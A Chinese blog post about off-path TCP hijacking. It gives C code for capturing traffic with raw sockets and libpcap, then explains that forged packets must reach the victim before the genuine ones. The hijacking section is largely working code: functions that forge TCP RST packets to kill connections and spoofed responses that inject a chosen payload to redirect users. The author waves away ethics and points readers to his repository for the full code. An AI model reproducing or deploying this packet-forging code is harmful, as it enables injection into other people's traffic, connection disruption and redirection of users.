旁路劫持是个备受争议和非议的话题,所以首先声明这是一篇纯技术文章,与伦理道德人格修养及体验感受无关,天气热爱上火多喝点绿豆汤,清热解毒,消暑除烦,止渴健胃,利水消肿,加点薏仁米莲子京糕条一起熬煮味道更佳。
数据采集:采集有二种方式原始套接字和网络设备抓包,前者效率更高一些但实现相对比较复杂,后者有三方库封装的很好简单易用,C有pcap库wireshark用的就是这个,JAVA有jpcap其实也是一回事,几行代码都能完成从初始化到采集的全过程。如果是电信级应用首选前者企业级应用后者足够,毕竟前者需要自己维护缓冲区和控制复制机制,减少内核区到用户区的数据交换显然可以做的更加灵活,后者都帮开发者处理好了提交上层直接使用就可以了。
原始套接字数据采集:
CGtRaw CRaw;
int iLength = 0;
USHORT usDst = 0;
USHORT usPort = 80;
struct ip* pstIP = NULL;
struct tcphdr* pstTcp = NULL;
struct udphdr* pstUdp = NULL;
struct ether_header* pstEth = NULL;
UCHAR uszRecv[GT_KBYTES2] = { 0 };
if (GT_SUCCESS == CRaw.GtRawInitRecv(GT_PF_PACKET, GT_SOCK_RAW, htons(ETH_P_ALL))) {
while ((iLength = rCRaw.GtNetRecv(uszRecv, GT_KBYTES2)) > 0) {
pstEth = (struct ether_header*)uszRecv;
pstIP = (struct ip*)(uszRecv + sizeof(struct ether_header));
switch (pstIP->ip_p) {
case GT_IPPROTO_TCP:
pstTcp = (struct tcphdr*)(uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4);
usDst = ntohs(pstTcp->th_dport);
break;
case GT_IPPROTO_UDP:
pstUdp = (struct udphdr*)(uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4);
usDst = ntohs(pstUdp->uh_dport);
break;
default:
break;
}
if (usDst == usPort) {
GT_PRINT("SrcMac: %02x:%02x:%02x:%02x:%02x:%02x\t",
pstEth->ether_shost[0], pstEth->ether_shost[1], pstEth->ether_shost[2],
pstEth->ether_shost[3], pstEth->ether_shost[4], pstEth->ether_shost[5]);
GT_PRINT("DstMac: %02x:%02x:%02x:%02x:%02x:%02x\n",
pstEth->ether_dhost[0], pstEth->ether_dhost[1], pstEth->ether_dhost[2],
pstEth->ether_dhost[3], pstEth->ether_dhost[4], pstEth->ether_dhost[5]);
GT_PRINT("SrcAddr: %s\t", (char*)inet_ntoa(pstIP->ip_src));
GT_PRINT("DstAddr: %s\n", (char*)inet_ntoa(pstIP->ip_dst));
if (NULL != pstTcp) {
GT_PRINT("Protocol: TCP\n");
GT_PRINT("SrcPort: %d\t", ntohs(pstTcp->th_sport));
GT_PRINT("DstPort: %d\n", ntohs(pstTcp->th_dport));
GT_PRINT("Recv: %s\n\n", uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4 + pstTcp->th_off * 4);
pstTcp = NULL;
}
else if (NULL != pstUdp) {
GT_PRINT("Protocol: UDP\n");
GT_PRINT("SrcPort: %d\t", ntohs(pstUdp->uh_sport));
GT_PRINT("DstPort: %d\n", ntohs(pstUdp->uh_dport));
GT_PRINT("Recv: %s\n\n", uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4 + sizeof(struct udphdr));
pstUdp = NULL;
}
else {
}
}
memset(uszRecv, '\0', GT_KBYTES2);
usDst = 0;
}
CRaw.GtNetClose();
}
网络设备抓包数据采集:
void GtPcapCore(UCHAR* puszUser, const struct pcap_pkthdr* pstHead, const UCHAR* puszPacket)
{
UINT uiLength = 0;
struct ip* pstIP = NULL;
struct tcphdr* pstTcp = NULL;
struct udphdr* pstUdp = NULL;
struct ether_header* pstEther = NULL;
/* ether */
pstEther = (struct ether_header*)puszPacket;
/* ip */
uiLength += sizeof(struct ether_header);
pstIP = (struct ip*)(puszPacket + uiLength);
GT_PRINT("SrcAddr: %s\t", (char*)inet_ntoa(pstIP->ip_src));
GT_PRINT("DstAddr: %s\n", (char*)inet_ntoa(pstIP->ip_dst));
/* tcp|udp */
uiLength += pstIP->ip_hl * 4;
switch (pstIP->ip_p) {
case IPPROTO_TCP:
GT_PRINT("Protocol: TCP\n");
pstTcp = (struct tcphdr*)(puszPacket + uiLength);
GT_PRINT("SrcPort: %d\t", ntohs(pstTcp->th_sport));
GT_PRINT("DstPort: %d\n", ntohs(pstTcp->th_dport));
uiLength += pstTcp->th_off * 4;
break;
case IPPROTO_UDP:
GT_PRINT("Protocol: UDP\n");
pstUdp = (struct udphdr*)(puszPacket + uiLength);
GT_PRINT("SrcPort: %d\t", ntohs(pstUdp->uh_sport));
GT_PRINT("DstPort: %d\n", ntohs(pstUdp->uh_dport));
uiLength += sizeof(struct udphdr);
break;
default:
break;
}
return;
}
int main(int argc, char* argv[])
{
bpf_u_int32 ulNet = 0;
bpf_u_int32 ulMask = 0;
pcap_t *pstPcap = NULL;
struct bpf_program stFilter;
char szError[GT_PACKET] = { 0 };
char szFilter[GT_PACKET] = { 0 };
char szDevice[GT_PACKET] = { 0 };
UCHAR uszPacket[GT_PACKET] = { 0 };
pstPcap = pcap_open_live(szDevice, 65535, 1, 5, szError);
if (NULL == pstPcap) {
GT_ERROR("%s\n", strerror(errno));
return GT_FAILURE;
}
if (pcap_lookupnet(szDevice, &ulNet, &ulMask, szError) < 0) {
GT_ERROR("%s\n", pcap_geterr(pstPcap));
return GT_FAILURE;
}
if (pcap_compile(pstPcap, &stFilter, szFilter, 1, ulMask) < 0) {
GT_ERROR("%s\n", pcap_geterr(pstPcap));
return GT_FAILURE;
}
if (pcap_setfilter(pstPcap, &stFilter) < 0) {
GT_ERROR("%s\n", pcap_geterr(pstPcap));
return GT_FAILURE;
}
if (pcap_loop(pstPcap, -1, GtPcapCore, uszPacket) < 0) {
GT_ERROR("%s\n", pcap_geterr(pstPcap));
return GT_FAILURE;
}
pcap_freecode(&stFilter);
pcap_close(pstPcap);
return GT_SUCCESS;
}
旁路劫持:劫持是指篡改用户源数据并重定向用户目的地址以达到非法目的。作为源目的双方,一方需要得到服务,另一方提供服务,原本二者都不关心对端的来源,加之大多数采用开放性协议的服务又无需身份验证,这就导致旁路设备可以轻易构造出对端信息,代替一端向另外一端做出应答,前提条件只要伪造报文比真实报文先一步到达对端,后到的报文就会被设备当做冗余数据直接丢弃不做响应,所以说劫持能否成功关键看速度。
void CGtRaw::GtRawTcpReset(UCHAR* puszHead, UCHAR* puszDst, int* piDst)
{
ULONG ulSeq = 0;
ULONG ulAck = 0;
USHORT usIP = 0;
USHORT usSrc = 0;
USHORT usDst = 0;
USHORT usIPTCP = 0;
struct in_addr stSrc;
struct in_addr stDst;
struct tcphdr* pstTcp = NULL;
struct tcphdr* pstReset = NULL;
struct ip* pstIP = (struct ip*)puszHead;
UCHAR uszReset[sizeof(struct ip) + sizeof(struct tcphdr)] = { 0 };
usIP = ntohs(pstIP->ip_len);
memcpy(&stSrc, &pstIP->ip_src, sizeof(struct in_addr));
memcpy(&stDst, &pstIP->ip_dst, sizeof(struct in_addr));
pstTcp = (struct tcphdr*)(puszHead + pstIP->ip_hl * 4);
usIPTCP = pstIP->ip_hl * 4 + pstTcp->th_off * 4;
usSrc = ntohs(pstTcp->th_sport);
usDst = ntohs(pstTcp->th_dport);
ulSeq = ntohl(pstTcp->th_seq);
ulAck = ntohl(pstTcp->th_ack);
*piDst = sizeof(uszReset);
pstReset = (struct tcphdr*)(uszReset + sizeof(struct ip));
GtRawTcpHead((UCHAR*)pstReset, usSrc, usDst, ulSeq + usIP - usIPTCP, ulSeq + usIP - usIPTCP);
pstReset->th_win = 0;
pstReset->th_flags = TH_RST;
pstReset->th_sum = GtRawPortCheck(GT_IPPROTO_TCP, (UCHAR*)pstReset, sizeof(uszReset) - sizeof(struct ip), stSrc, stDst);
GtRawIPHead(uszReset, GT_IPPROTO_TCP, stSrc, stDst, *piDst);
memcpy(puszDst, uszReset, *piDst);
return;
}
void CGtRaw::GtRawTcpRedir(UCHAR* puszHead, char* pszSrc, int iSrc, UCHAR* puszDst, int* piDst)
{
ULONG ulSeq = 0;
ULONG ulAck = 0;
USHORT usIP = 0;
USHORT usSrc = 0;
USHORT usDst = 0;
USHORT usIPTCP = 0;
struct in_addr stSrc;
struct in_addr stDst;
struct tcphdr* pstTcp = NULL;
struct tcphdr* pstRedir = NULL;
struct ip* pstIP = (struct ip*)puszHead;
UCHAR uszRedir[sizeof(struct ip) + sizeof(struct tcphdr) + GT_KBYTES2] = { 0 };
usIP = ntohs(pstIP->ip_len);
memcpy(&stSrc, &pstIP->ip_src, sizeof(struct in_addr));
memcpy(&stDst, &pstIP->ip_dst, sizeof(struct in_addr));
pstTcp = (struct tcphdr*)(puszHead + pstIP->ip_hl * 4);
usIPTCP = pstIP->ip_hl * 4 + pstTcp->th_off * 4;
usSrc = ntohs(pstTcp->th_sport);
usDst = ntohs(pstTcp->th_dport);
ulSeq = ntohl(pstTcp->th_seq);
ulAck = ntohl(pstTcp->th_ack);
*piDst = usIPTCP + iSrc;
memcpy(uszRedir + usIPTCP, pszSrc, iSrc);
pstRedir = (struct tcphdr*)(uszRedir + sizeof(struct ip));
GtRawTcpHead((UCHAR*)pstRedir, usDst, usSrc, ulAck, ulSeq + usIP - usIPTCP);
pstRedir->th_off = pstTcp->th_off;
pstRedir->th_sum = GtRawPortCheck(GT_IPPROTO_TCP, (UCHAR*)pstRedir, *piDst - sizeof(struct ip), stDst, stSrc);
GtRawIPHead(uszRedir, GT_IPPROTO_TCP, stDst, stSrc, *piDst);
memcpy(puszDst, uszRedir, *piDst);
return;
}
OK,关于这个话题就说这么多吧,已经说不少了,文章中涉及的代码片段自己去“厉力文武”的码云空间(http://git.oschina.net/gonglibin)扒吧,都是自己人别客气~